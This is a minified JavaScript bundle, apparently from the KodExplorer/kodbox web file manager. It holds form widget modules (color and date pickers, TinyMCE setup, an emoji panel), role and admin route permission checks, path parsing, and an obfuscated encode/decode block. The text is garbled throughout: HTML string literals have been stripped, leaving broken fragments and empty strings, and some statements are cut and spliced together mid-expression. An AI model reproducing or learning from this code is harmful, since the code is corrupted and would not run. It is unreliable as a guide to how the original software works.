    ";else if("button"==a.type)x+=' ',k(a.info,function(e,t){x+=" ";var i=e.className||"btn-default btn-nomal",n=y(e.attr);x+=' "}),x+=" ";else if("select"==a.type&&"optgroup"==a.selectType)x+=' ";else if(b.includes("select/tags/colorLabel/fontIcon/group/role/user/auth/job/userGroup".split("/"),a.type)){x+=' "}else if("slider"==a.type)x+=" ",a.info||(a.info={"from":0,"to":100,"step":1}),x+=' ';else if("color"==a.type)x+=' ';else if("dateTime"==a.type){x+=" ";var c=O.dateFormatGet("timeDay");x+=' ';else if("userSelect"==a.type){x+=" ";var d=a.value&&O.jsonDecode(a.value);d=b.extend({"all":"0","user":"","group":"","role":""},d),a.info=b.extend({"type":"mutil","user":"mutil","group":"mutil","role":"mutil"},a.info),x+='
    ',x+=v(M["common.user"]),x+='
    ",x+=w,x+=" "}x+=' ',"switch"!=a.type&&(x+=' ',x+=a.desc||"",x+=" "),x+='
    '}else x+=" ","formStyle"!=i&&(x+='
    ",b.isUndefined(a.display)?(x+=" ",x+=a.value,x+='
    ',x+=a.desc||"",x+="
    "):(x+='
    ',x+=a.value,x+='
    ',x+=a.desc||"",x+='
    '),x+="
    "),x+=" ";x+=" "}),x+=" ",b.isArray(C)&&0
    '),x+=" "}),x+='
    '),x+='
    "}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(71));t["default"]=ClassBase.extend({"init":function(){var i=this,e=_.filter(n["default"],function(e,t){return!i.allow(t)}),t=_.values(e).join("\n");$.setStyle(t,"role-auth-check")},"allow":function(e){var t=G.user.role;return 1==G.user.isRoot||!!t&&1==t[e]},"adminAuth":function(e){return!this.adminRouteList[e]||(1==G.user.isRoot||("admin"!=e?this.allow(this.adminRouteList[e]):_.some(G.user.role,function(e,t){return 1==e&&_.startsWith(t,"admin.")})))},"adminAuthCheck":function(e){var t=this;e.find("[link-href]").each(function(){var e=$(this).attr("link-href");t.adminAuth(e)||$(this).remove()}),e.find(".divider").each(function(){$(this).next().hasClass("divider")&&$(this).hide()}),e.find(".submenu .menu-items").each(function(){0==$(this).children().length&&$(this).parent().hide()})},"adminRouteList":{"admin":"---","admin/index":"admin.index.dashboard","admin/setting/index":"admin.index.setting","admin/setting/menu":"admin.index.setting","admin/setting/notice":"admin.index.setting","admin/loginCheck":"admin.index.setting","admin/user":"admin.member.list","admin/role":"admin.role.list","admin/job":"admin.job.list","admin/auth":"admin.auth.list","admin/storage/index":"admin.storage.list","admin/storage/backup":"admin.storage.edit","admin/storage/share":"admin.storage.edit","admin/storage/recycle":"admin.storage.edit","admin/plugin":"admin.plugin.list","admin/logLogin":"admin.index.loginLog","admin/log":"admin.index.log","admin/task":"admin.autoTask.list","admin/server":"admin.index.server"}})},,,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t.pathParse=undefined;var o,r,n,s,l,c,a,d,h,u,f,p,w=i(3),m=(o={"name":"","needSort":!0},r=G.io,n={},s=function s(e){if(n[e])return n[e];var t={"type":"","id":!1,"path":e};if(e){var i=e.match(/\{(\w+):?(\d|[-\w]+)?\}(.*)/);i&&(t={"type":"{"+i[1]+"}","id":i[2]||!1,"path":trim(e,"/"),"pathLast":i[3]})}return n[e]=t},l=function x(){var e={"KOD_SOURCE":{},"KOD_USER_RECYCLE":{},"KOD_USER_FAV":{"needSort":!1},"KOD_USER_SHARE":{},"KOD_USER_FILE_TAG":{},"KOD_GROUP_ROOT_SELF":{"needSort":!1},"KOD_USER_FILE_TYPE":{},"KOD_USER_SHARE_TO_ME":{},"KOD_SHARE_ITEM":{},"KOD_SEARCH":{},"KOD_BLOCK":{"needSort":!1},"KOD_IO":{},"KOD_USER_RECENT":{"needSort":!1},"KOD_USER_DRIVER":{}},t={};for(var i in e)if(e.hasOwnProperty(i)){var n=r[i],a=$.extend(!0,{},o);t[e[i].type=n]=$.extend(!0,a,e[i])}return t}(),a=function a(e){var t=e.current||{"path":e.thisPath};return(t=$.objClone(t)).targetType&&(t.parentID="0"),t.ioDriver&&(t.icon="io-"+t.ioDriver.toLowerCase()),t.shareUser&&t.shareID&&(t.icon="shareToMe"),p(t)},d=function d(e){for(var t=rtrim(ltrim(e.parentLevel,",0,"),","),i=trim(e.pathDisplay,"/").replace(/\/+/g,"/").split("/"),n=t.split(","),a=[],r=0;r>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o})}();var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s'+r+g("0x3d1","V!zD");continue}break}},"strReverse":function(e){return e[g("0x3d2","[27q")]("")[g("0x3d3","pG8W")]()[g("0x3d4","9IHr")]("")},"encode":function(e,t,i){var n={};n[g("0x3d5","%6y(")]=g("0x3d6","tPU3"),n[g("0x3d7","I[9(")]=g("0x3d8","ULbc"),n[g("0x3d9","sD!S")]=function(e,t){return e!=t},n[g("0x3da","%mgZ")]=function(e,t){return e!==t},n[g("0x3db","VJG5")]=g("0x3dc","N#kf"),n[g("0x3dd","28r2")]=g("0x3de","Bcm&"),n[g("0x3df","%6y(")]=g("0x3e0","%mgZ");try{if(!n[g("0x3e1","pG8W")](n[g("0x3e2","aozH")],n[g("0x3e2","aozH")]))return this[g("0x3e7","YzbY")](e,t,i);$main[g("0x3e3","0Df)")](n[g("0x3e4","JXAX")])[g("0x3e5","Fukz")](n[g("0x3e6","N#kf")])}catch(a){return!n[g("0x3e8","a9n]")](n[g("0x3e9","YzbY")],n[g("0x3ea","a9n]")])&&n[g("0x3eb","%6y(")](this[g("0x3ec","iMck")],"A")}},"decode":function(e,t,i){var n={};n[g("0x3ed","%6y(")]=function(e,t){return e!==t},n[g("0x3ee","rget")]=g("0x3ef","oMyb"),n[g("0x3f0","kvsN")]=g("0x3f1","kvsN"),n[g("0x3f2","yNaf")]=g("0x3f3","%6y(");try{return n[g("0x3f4","ofLN")](n[g("0x3f5","sK7f")],n[g("0x3f6","0Df)")])?void(G&&(G[g("0x3f7","VJG5")][g("0x3f8","rget")]="")):this[g("0x3f9","pG8W")](e,t,i)}catch(a){if(n[g("0x3fa","ad1$")](n[g("0x3fb","6WMm")],n[g("0x3fc","]!d@")]))return!1;G[g("0x3fd","ZG0n")][g("0x3fe","3*nO")]=""}},"encodeString":function(e,t,i){var n={};n[g("0x3ff","]!d@")]=function(e,t){return t")&&(t=t.replace(/\n/g,"
    ")),t}}}),$(document).bind("keydown keyup mousedown mouseup click",function(){$.fn.poshytip&&($(e).poshytip("clearTimeouts").poshytip("hide"),$(".ptips-skin").remove())}),$("input,textarea").live("focus",function(){$.fn.poshytip&&($(e).poshytip("hide"),$(".ptips-skin").remove())})}},r=function r(){window.API_HOST&&(template.defaults.cache=!0,template.defaults.minimize=!1,template.defaults.compileDebug=!1)},o=function o(){if(!$.isWindowTouch()){var e=[".menuBar .menu-item",".menu-group-submenu .menu-item-sub",".menuBar .menu-dropdown-user > .ripple-item",".setting-menu-left .menu-item-content",".admin-menu-left .menu-item-content"].join(",");$.hoverAnimate({"el":e,"delegate":"body"})}},s=function s(){var e="a,button,.ripple-item,.context-menu-item,.kui-btn,.btn,.button";if($.isWindowTouch()&&(e="a,button,.ripple-item,.kui-btn,.btn,.button"),loadRipple(e,".disable-ripple,.disabled,.disable,.ztree,.not-selectable"),o(),$(window).bind("resize",function(){Events.trigger("window.resize")}),$("body").delegate("img,a","dragstart",function(e){return stopPP(e)}),window.API_HOST){$("body").delegate("[link-href]","click",function(e){return l(e,"")}),$("body").delegate("a","click",function(e){"#"==$(this).attr("href")&&e.preventDefault()}),$("body").delegate("[link-href]","mouseup",function(e){if(2==e.which)return l(e,"_blank")});var l=function l(e,t){var i=$(e.currentTarget),n=i.attr("link-href")||"#",a=(t=t||i.attr("target"),_.startsWith(n,"http://")||_.startsWith(n,"https://")),r=n;if(!a){if(n.startsWith("/")||n.startsWith("./"))return 2==e.which||"_blank"==t?window.open(r):void(window.location.href=n);r=$.parseUrl().urlPath+("#"==n?"":"#"+n)}if(i.attr("dialog-open")||"dialog"==t){var o=i.find(".font-icon").prop("outerHTML")||"",s=htmlSafe(o+i.text());return core.openDialog(r,"",s)}if(!a)return 2==e.which||"_blank"==t?window.open(r):void Router.go(n);"_blank"==t?window.open(r):window.location.href=r}}},l=function l(){$.fn.tabCurrent=function(){var e=$(this);if(!e||0==e.length)return this;var t=e.parent(),i=e.outerWidth(),n=e.offset().left-t.offset().left,a=t.children(".tab-item-bar");if(0==a.length)return this;a.data("initTab")||(a.data("initTab",1),a.addClass("no-animate opacity-hidden"),setTimeout(function(){a.removeClass("opacity-hidden"),t.children(".tab-item").filter(".active").tabCurrent()},10),setTimeout(function(){t.children(".tab-item").filter(".active").tabCurrent(),a.removeClass("no-animate")},300)),i=1*e.width(),n+=(e.outerWidth()-i)/2;var r=t.offset().top+t.outerHeight(),o=e.offset().top+e.outerHeight(),s={"width":i+"px","left":n+"px","transform":"translate3d(0px,-"+Math.abs(r-o+1)+"px, 0px)"};a.css(s),t.children(".tab-item").removeClass("active"),e.addClass("active");var l=t.parent().children(".tab-group-pan").children(".tab-content");if(0!=l.length){var c=l.filter(":visible"),d=l.filter("."+e.attr("tab-name"));c.switchTo(d)}return this},$(document).delegate(".tab-group-line .tab-item","click",function(){$(this).tabCurrent()});var e=_.debounce(function(){$(".tab-group-line .tab-item.active").each(function(){$(this).tabCurrent()})},50);$(window).bind("resize",e),$.isWindowTouch()&&c()},c=function c(){}},function(t,i){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(e){"object"==typeof window&&(n=window)}t.exports=n},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+=''}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","display":LNG["explorer.app.name"],"require":1,"attr":{"placeholder":LNG["explorer.app.nameDesc"]}},"desc":{"type":"input","display":LNG["explorer.app.desc"],"attr":{"placeholder":LNG["explorer.app.descDesc"]}},"group":{"type":"select","display":LNG["explorer.app.group"],"attr":{"placeholder":LNG["common.select"]},"info":{},"require":1},"type":{"type":"segment","value":"url","className":"hide","display":LNG["explorer.app.appType"],"info":{"url":""+LNG["explorer.app.website"],"js":""+LNG["explorer.app.code"]},"switchItem":{"path":"value-path,pathType","url":"value-url,openType","js":"value-js"}},"icon":{"type":"fileSelect","display":LNG["explorer.app.imgIcon"],"value":"oexe.png","info":{"single":"1","type":"file","makeUrl":"1","valueKey":"downloadPath","allowExt":"png,jpg,gif,jpeg,ico,svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]}},"sep003":"
    ","value-path":{"type":"fileSelect","display":LNG["explorer.app.path"],"info":{"type":"all"}},"pathType":{"type":"hide","value":"folder","className":"hide"},"ext":{"type":"hide","className":"hide"},"value-url":{"type":"input","display":LNG["explorer.app.link"],"require":1,"attr":{"placeholder":LNG["explorer.app.linkDesc"]}},"openType":{"type":"segment","value":"window","display":LNG["explorer.app.openType"],"info":{"window":""+LNG["explorer.app.openWindow"],"dialog":""+LNG["explorer.app.openDialog"]},"switchItem":{"window":"","dialog":"width,height,resize,simple"}},"width":{"type":"input","display":LNG["explorer.app.dialogSize"],"value":"80%","attr":{"style":"width:75px;"},"className":"inline","titleLeft":LNG["explorer.app.with"]},"height":{"type":"input","value":"70%","attr":{"style":"width:75px;"},"className":"inline","titleLeft":LNG["explorer.app.height"]},"sep002":"
    ","resize":{"type":"checkbox","display":LNG["explorer.app.moreSet"],"value":"1","className":"inline","info":{"1":LNG["explorer.app.canDiyWith"]}},"simple":{"type":"checkbox","value":"0","className":"inline","info":{"1":LNG["explorer.app.miniBlock"]}},"value-js":{"type":"codeEditor","display":LNG["explorer.app.runCode"],"className":"clear","require":1,"attr":{"data-ext":"js","data-theme":"tomorrow","style":"height:180px;","data-fontSize":"13"}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"setValue":function(e,t){e.parent().find('button[data-value="'+t+'"]').click()},"bindForm":function(e){var t=this.$(".form-button button"),a="active";t.bind("click",function(e){var t=$(this).parents(".setting-content").first().find("input"),i=$(this).attr("data-value"),n=_.filter(t.val().split(","));$(this).hasClass(a)?(n=_.pull(n,i),$(this).removeClass(a)):(n.push(i),$(this).addClass(a)),t.val(n.join(",")).trigger("change")}),e&&e()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=function r(e){return e&&e.__esModule?e:{"default":e}}(i(2));t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=function o(e){return function(){var s=e.apply(this,arguments);return new Promise(function(a,r){return function o(e,t){try{var i=s[e](t),n=i.value}catch(error){return void r(error)}if(!i.done)return Promise.resolve(n).then(function(e){o("next",e)},function(e){o("throw",e)});a(n)}("next")})}}(a["default"].mark(function s(t){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise([VENDER_PATH+"city-picker/city-picker.data"]);case 2:return e.next=4,requirePromise([VENDER_PATH+"city-picker/css/city-picker.css",VENDER_PATH+"city-picker/city-picker"]);case 4:if(this.$el){e.next=6;break}return e.abrupt("return","");case 6:this.$(".form-cityPicker input").each(function(){var e=$(this);e.css("width",e.width()),e.citypicker()}),this.bind("onRemove",function(){this.$(".form-cityPicker input").citypicker("destroy")}),t&&t();case 9:case"end":return e.stop()}},s,this)})),function l(e){return n.apply(this,arguments)}),"setValue":function(e,t){e.val(t).trigger("change")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"loadFile":function(e){requireAsync([VENDER_PATH+"colorpicker/pickr.min.js",VENDER_PATH+"colorpicker/nano.min.css"],e)},"bindForm":function(t){var i=this;this.loadFile(function(){var e=this.$(".form-color");e.find("input + .btn").bind("click",function(){$(this).prev().click()}),e.each(function(){i.bindColorItem($(this))}),t&&t()})},"bindColorItem":function(e){var n=e.find("input"),a=e.find(".color-picker-view .font-icon"),t=Pickr&&Pickr.create({"el":e.find(".color-picker-view").get(0),"theme":"nano","position":"top-start","useAsButton":!0,"default":n.val()||"#000000","swatches":["#FFFFFF","#cfd8dc","#ffccbc","#ffecb3","#fff9c4","#dcedc8","#b2ebf2","#e6f7ff","#d1c4e9","#D9D9D9","#90a4ae","#ff8a65","#ffd54f","#fff176","#aed581","#4dd0e1","#91d5ff","#9575cd","#969696","#607d8b","#ff5722","#ffc107","#ffeb3b","#8bc34a","#00bcd4","#40a9ff","#673ab7","#525252","#455a64","#e64a19","#ffa000","#fbc02d","#689f38","#0097a7","#1890ff","#512da8","#000000","#263238","#bf360c","#ff6f00","#f57f17","#33691e","#006064","#006dd2","#311b92"],"components":{"preview":!0,"opacity":!0,"hue":!0,"interaction":{"hex":1,"rgba":1,"hsla":0,"hsva":0,"cmyk":0,"input":1,"clear":0,"save":0}}});t=t||{"on":$.noop,"show":$.noop,"setColor":$.noop};var r=timeFloat();t.on("change",function(e,t){if(!(timeFloat()-r<.015)){var i=e.toHEXA().toString();n.val(i).trigger("change"),a.css("color",i)}}),n.data("picker",t),n.bind("focus mousedown mouseup",function(){t.show()}).bind("paste keyup",function(){r=timeFloat();var e=$(this).val();t.setColor(e),a.css("color",e)}),this.bind("onRemove",function(){t.destroyAndRemove()})},"setValue":function(e,t){var i=e.parent().find(".color-picker-view .font-icon");e.val(t).trigger("change"),i.css("color",t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(6));t["default"]=n["default"].extend({"selector":".form-colorLabel select","init":function(){},"selectDataMake":function(e,t,i){this.loadData(e),i()},"loadData":function(t){for(var n=[],e="grey,red,orange,yellow,green,cyan,blue,purple,pink".split(","),i="light,normal,deep".split(","),a=0;a';return $(''+i+""+t+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=function r(e){return e&&e.__esModule?e:{"default":e}}(i(2));t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=function o(e){return function(){var s=e.apply(this,arguments);return new Promise(function(a,r){return function o(e,t){try{var i=s[e](t),n=i.value}catch(error){return void r(error)}if(!i.done)return Promise.resolve(n).then(function(e){o("next",e)},function(e){o("throw",e)});a(n)}("next")})}}(a["default"].mark(function s(t){var i,c,d;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return this.$(".form-dateTime input + .btn").bind("click",function(){$(this).parents(".form-dateTime").find("input").focus()}),e.next=3,requirePromise([VENDER_PATH+"jquery.datetimepicker/jquery.datetimepicker.css",VENDER_PATH+"jquery.datetimepicker/jquery.datetimepicker.js"]);case 3:if(i=G.lang,d="zh-CN"==i||"zh-TW"==i?"ch":"en",(c=this).$el){e.next=8;break}return e.abrupt("return","");case 8:this.$(".form-dateTime input").each(function(){for(var e=$(this).attr("data-format")||dateFormatGet("timeDay"),t=$(this).attr("data-fromTime"),i=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],n=["H","h","i","s","A","a","b","g","G","O","P","c","U"],a=!1,r=!1,o=0;o';return $(''+i+""+t+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=function r(e){return e&&e.__esModule?e:{"default":e}}(i(2));t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var n=this;this.hightCodeCheck(),this.$("[data-link-type]").each(function(){var t=$(this),i=t.attr("data-link-type"),e=t.attr("data-link-url");switch(i){case"html":case"code":$.get(e,function(e){"code"==i?t.html("
    "+htmlEncode(e)+"
    "):t.html(e),n.hightCodeCheck()});break;case"javascript":case"style":requireAsync(e)}}),e&&e()},"hightCodeCheck":(n=function o(e){return function(){var s=e.apply(this,arguments);return new Promise(function(a,r){return function o(e,t){try{var i=s[e](t),n=i.value}catch(error){return void r(error)}if(!i.done)return Promise.resolve(n).then(function(e){o("next",e)},function(e){o("throw",e)});a(n)}("next")})}}(a["default"].mark(function s(){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if(this.$("pre,code").exists()){e.next=2;break}return e.abrupt("return");case 2:return e.next=4,requirePromise([VENDER_PATH+"markdown/highlight.min"]);case 4:if(this.$el){e.next=6;break}return e.abrupt("return");case 6:this.$("pre,code").each(function(e,t){$(this).hasClass("ace_editor")||$(this).hasClass("hljs")||hljs.highlightBlock(t)});case 7:case"end":return e.stop()}},s,this)})),function l(){return n.apply(this,arguments)})})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(58)),o=a(i(13));function a(e){return e&&e.__esModule?e:{"default":e}}var r=new n["default"];t["default"]=ClassBase.extend({"init":function(){},"getValue":function(e,t){var i=e.parent().find(".tox-tinymce").data("editor"),n="";return n=i?i.getContent():t.find("textarea").val(),r.toTextStore(n)},"setValue":function(e,t){var i=e.parent().find(".tox-tinymce").data("editor");return i&&i.setContent(t)},"loadFile":function(e){requireAsync([VENDER_PATH+"tinymce/tinymce.min.js",VENDER_PATH+"tinymce/jquery.tinymce.min.js",VENDER_PATH+"tinymce/kod/style.css"],function(){requireAsync([VENDER_PATH+"tinymce/kod/media.js"],e)})},"bindForm":function(e){var t=this;this.$(".form-htmlEditor textarea").each(function(){var e=Tips.loadingMask($(this).parent(),LNG["explorer.wordLoading"],.99,252);$(this).data("loadingTips",e)}),this.loadFile(function(){t.$(".form-htmlEditor textarea").each(function(){t.initEditor($(this),e)})}),this.bind("onRemove",function(){t.$(".form-htmlEditor .tox-tinymce").each(function(){var e=$(this).data("editor");e&&e.destroy()})})},"initEditor":function(i,n){var e=UUID(),a=this;i.addClass(e);var t=jsonDecode(htmlDecode(i.attr("data-options")||""))||{},r=this.options(t);r=_.extend({"selector":"."+e,"theme":"silver","content_css":[VENDER_PATH+"tinymce/kod/content.css",STATIC_PATH_ALL+"app/vender/markdown/katex/katex.min.css"],"file_browser_callback":function(e,t,i,n){return!1},"setup":function(e){e.on("preinit",function(){a.editorInitBefore(e)})},"init_instance_callback":function(e){a.editorInitAfter(e);var t=i.data("loadingTips");t&&t.close(),a.isInitFinished||(a.isInitFinished=!0,n&&n())},"image_advtab":!0,"image_title":!1,"paste_data_images":!0,"automatic_uploads":!0,"images_upload_handler":function(e,t,i){(new o["default"]).upload(e.blob(),e.filename(),function(e){t(e.downloadPath)})}},r),tinymce.init(r)},"editorInitBefore":function(t){tinymce.pluginResetAdd&&_.each(tinymce.pluginResetAdd,function(e){e&&e(t)}),this.editorAddIcon(t),this.editorResetMenus(t)},"editorResetMenus":function(e){var t=e.ui.registry.getAll();if(!_.isEmpty(t.menuItems)){var i="tableprops,align,fontformats,fontsizes,blockformats".split(",");_.each(i,function(e){t.menuItems[e]&&(t.menuItems[e].icon=e)})}},"editorAddIcon":function(n){var e=n.ui.registry.getAll();this.resetSvgIcon(e.icons);_.each({"math":"mce-i-icon mce-i-mathjax","bdmap":"ri-map-pin-fill-5","code":"ri-code-s-slash-line","fontformats":"ri-font-size","fontsizes":"ri-font-size","lineheight":"ri-line-height","blockformats":"ri-heading","new-tab":"ri-external-link-line","align":"mce-i-icon mce-i-align-center","tableprops":"ri-information-line","table-delete-table":"ri-indeterminate-circle-line","checklist":"ri-checkbox-fill","sourcecode":"ri-code-s-slash-line","code-sample":"ri-code-s-slash-line","insert-time":"ri-calendar-check-fill","embed":"ri-play-circle-fill","chevron-down":"ri-arrow-down-s-line","chevron-right":"ri-arrow-right-s-line","chevron-left":"ri-arrow-left-s-line","chevron-up":"ri-arrow-drop-up-line"},function(e,t){var i='';n.ui.registry.addIcon(t,i)})},"resetSvgIcon":function(e){var t=["help","bookmark","autocorrect","bidiltr","bidirtl","quote","bold","unordered-list","button","checkbox","copy","cut","docprops","find","form","visualchars","horizontal-rule","iframe","image","imagebutton","indent","italic","align-justify","align-center","align-left","align-right","language","link","mathjax","fullscreen","newpage","ordered-list","outdent","page-break","paste","pastefromword","preview","print","radio","redo","remove-formatting","search","save","scayt","select","select-all","showblocks","emoji","sourcecode","sourcedialog","insert-character","spellchecker","strike-through","subscript","superscript","table","templates","textarea","textfield","uicolor","underline","undo","undo","unlink"];for(var i in e)if(!e[i]||"')}},"editorInitAfter":function(t){var i=this,e=$(t.editorContainer),n=e.find(".tox-toolbar").first();this.editorResetDialog(t),e.data("editor",t),e.find("iframe").attr("title","").addClass("disable-title");var a=t.settings.toolbar.join(" ").replace(/\|/g," ").replace(/ +/g," ").split(" ");if(e.find(".tox-toolbar__group").children().each(function(e){$(this).addClass("toolbar-"+a[e])}),t.settings.menubar){var r=e.find(".tox-menubar");(r=r.appendTo(n)).prev().addClass("menubar-prev");var o=t.settings.menubar.split(" ");r.find(".tox-mbtn").each(function(e){$(this).addClass("mce-i-"+o[e])})}t.on("DblClick",function(e){i.editorObjectClick(t,$(e.target))})},"editorObjectClick":function(e,t){if(t[0].tagName)switch(t[0].tagName.toLowerCase()){case"img":t.hasClass("mce-object-video")?e.execCommand("mceMedia"):t.hasClass("mce-object")||e.execCommand("mceImage");break;case"a":e.execCommand("mceLink");break;case"span":t.hasClass("mce-preview-object")&&t.hasClass("mce-object-iframe")&&e.execCommand("mceMedia")}},"editorResetDialog":function(e){var o=function o(e){var t=artDialog.defaults.zIndex++;e.css({"z-index":t})},t=function t(r){return function(){var e=r.apply(this,arguments),t=$(window),i=$('.tox-dialog[aria-modal="true"]');if(1!=i.length)return e;var n=i.parents(".tox-dialog-wrap"),a=n.find(".tox-dialog-wrap__backdrop");return o(n),n.bind("mousedown",function(e){o(n)}),i.css({"position":"fixed","left":(t.width()-i.width())/2,"top":(t.height()-i.height())/2}),a.hide().fadeIn(200),i.addClass("dialogShow animated"),i.find(".tox-dialog__body-nav-item").addClass("ripple-item"),i.find(".tox-textarea").length&&i.addClass("tox-dialog-add-source"),i.find(".tox-image-tools-edit-panel").length&&i.addClass("tox-image-edit"),e}};e.windowManager.open=t(e.windowManager.open),e.windowManager.openUrl=t(e.windowManager.openUrl)},"options":function s(e){var t="12px,13px,14px,15px,16px,18px,20px,24px,32px,36px,48px".split(","),i={"full":["formatselect fontsizeselect fontselect | alignleft aligncenter alignright lineheight | removeformat formatpainter preview codeView fullscreen","bold italic underline strikethrough forecolor backcolor | indent outdent numlist bullist |blockquote hr emoticons link image table"],"normal":["bold italic underline forecolor | alignleft aligncenter alignright | bullist indent outdent |hr blockquote link image"],"simple":["bold italic underline | alignleft aligncenter alignright |hr blockquote link image"]};e.toolbar=i[e.toolbar]||e.toolbar||i.full;var n=_.includes(G.lang,"zh")?"zh_CN":"en",s={"theme_advanced_font_sizes":t.join(","),"fontsize_formats":t.join(" "),"font_formats":["微软雅黑=Microsoft Yahei","宋体=STsong,SimSun,NSimSun,STFangsong,FangSong,FangSong_GB2312,STZhongsong","细黑=STXihei,STHeiti,SimHei","楷体=STKaiti,KaiTi,KaiTi_GB2312,Kai","华文行楷=STXingkai","隶书=隶书,SimLi,STLiti","Arial=Arial,helvetica,sans-serif","Comic Sans MS=Comic Sans MS,cursive","Courier New=Courier New,Courier,monospace","Impact=Impact,chicago","Lucida Sans Unicode=Lucida Sans Unicode,Lucida Grande,sans-serif","Tahoma=Tahoma,Geneva,sans-serif","Times New Roman=Times New Roman,Times,serif","Trebuchet MS=Trebuchet MS","Verdana=Verdana,Geneva,sans-serif"].join(";"),"menu":{"menuFormate":{"title":"Format","items":"bold italic underline strikethrough superscript subscript blockquote checklist codeformat | blockformats fontformats fontsizes align | forecolor backcolor | removeformat"},"menuInsert":{"title":"Insert","items":"image link media template codesample inserttable | pageembed kitymath bdmap | charmap emoticons hr | pagebreak nonbreaking anchor toc | insertdatetime"},"menuMore":{"title":"更多","items":"undo redo | cut copy selectall searchreplace | visualchars visualblocks | codeView wordcount formatpainter | fullscreen preview print "}},"menubar":"menuFormate menuInsert menuMore","language":n,"plugins":["print preview searchreplace autolink directionality visualblocks visualchars fullscreen image","link media codesample table charmap hr pagebreak nonbreaking anchor toc insertdatetime advlist","lists textcolor wordcount imagetools contextmenu paste colorpicker textpattern help lineheight quickbars","bdmap emoticons checklist pageembed formatpainter kitymath codeView"],"toolbar":[],"toolbar_groups":{"formateKod":{"icon":"bold","tooltip":"Formatting","items":"bold italic underline | superscript subscript"},"alighKod":{"icon":"aligncenter","tooltip":"Align","items":"alignleft aligncenter alignright"}},"browser_spellcheck":!0,"color_cols":9,"color_map":["#FFFFFF","c-white","#cfd8dc","","#ffccbc","","#ffecb3","","#fff9c4","","#dcedc8","","#b2ebf2","","#e6f7ff","","#d1c4e9","","#D9D9D9","","#90a4ae","","#ff8a65","","#ffd54f","","#fff176","","#aed581","","#4dd0e1","","#91d5ff","","#9575cd","","#969696","","#607d8b","","#ff5722","","#ffc107","","#ffeb3b","","#8bc34a","","#00bcd4","","#40a9ff","","#673ab7","","#525252","","#455a64","","#e64a19","","#ffa000","","#fbc02d","","#689f38","","#0097a7","","#1890ff","","#512da8","","#000000","","#263238","","#bf360c","","#ff6f00","","#f57f17","","#33691e","","#006064","","#006dd2","","#311b92",""],"resize":"both","toolbar_mode":"sliding","draggable_modal":!0,"branding":!1,"elementpath":!1,"statusbar":!1,"contextmenu":"bold copy cut | align | link format | insert | table","quickbars_insert_toolbar":!1,"quickbars_selection_toolbar":"bold italic underline | h2 h3 blockquote link","cache_suffix":"?v="+G.kod.version,"allow_conditional_comments":!0,"verify_html":!0,"extended_valid_elements":"i[*],span[*],div[*]","remove_trailing_brs":!1,"protect":[/\<\/?(if|endif)\>/g,/\]+\>/g,/<\?php.*?\?>/g],"paste_webkit_styles":"color,background,width,height,vertical-align,text-align,padding,margin,padding-top,padding-bottom,line-height","file_browser_callback_types":"image"};return _.extend(s,e||{}),s}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.type="emoji",this.name="emoji"},"emojMap":{"def":["😄","😷","😂","😅","😝","😳","😱","😔","🙄","🙃","😩","🤔","🌚","😉","😊","😋","😎","😍","😘","😙","😚","🙂","🤗","😐","😑","😬","😵","😏","😣","😥","😮","🤐","😯","😪","😫","😴","😌","😛","😜","😡","😰","😓","😕","🤑","😲","🙁","😖","😞","😟","😤","😢","😭","😦","😧","😨","😠","🤒","🤕","😇","🤓","😈","👿","🙏","💪","🎉","🎁","🙈","👊","🙌","💯","💃","🍻","👹","👺","💀","👻","👽","🤖","💩","😺","😸","😹","😻","😼","😽","🙀","😿","😾","🗣","👤"],"hot":["👥","👫","👬","👭","👂","👃","👣","👀","👁","👅","👄","💋","👓","🕶","👔","👕","👖","👗","👘","👙","👚","👛","👜","👝","🎒","👞","👟","👠","👡","👢","👑","👒","🎩","🎓","⛑","💄","💍","🌂","💼"],"food":["🍇","🍈","🍉","🍊","🍋","🍌","🍍","🍎","🍏","🍐","🍑","🍒","🍓","🍅","🍆","🌽","🌶","🍄","🌰","🍞","🧀","🍖","🍗","🍔","🍟","🍕","🌭","🍳","🍲","🍿","🍱","🍘","🍙","🍚","🍛","🍜","🍝","🍠","🍢","🍣","🍤","🍥","🍡","🍦","🍧","🍨","🍩","🍪","🎂","🍰","🍫","🍬","🍭","🍮","🍯","🍼","☕","🍵","🍶","🍾","🍷","🍸","🍹","🍺","🍻","🍽","🍴","🥄"]},"htmlPanel":function(){var i="";return _.each(this.emojMap,function(e,t){i+=''+t+"",_.each(e,function(e){i+=''+e+""})}),i},"toText":function(e){return this.encodeTo(e,"code")},"toTextStore":function(e){return this.encodeTo(e,"html")},"encodeTo":function(e,i){var 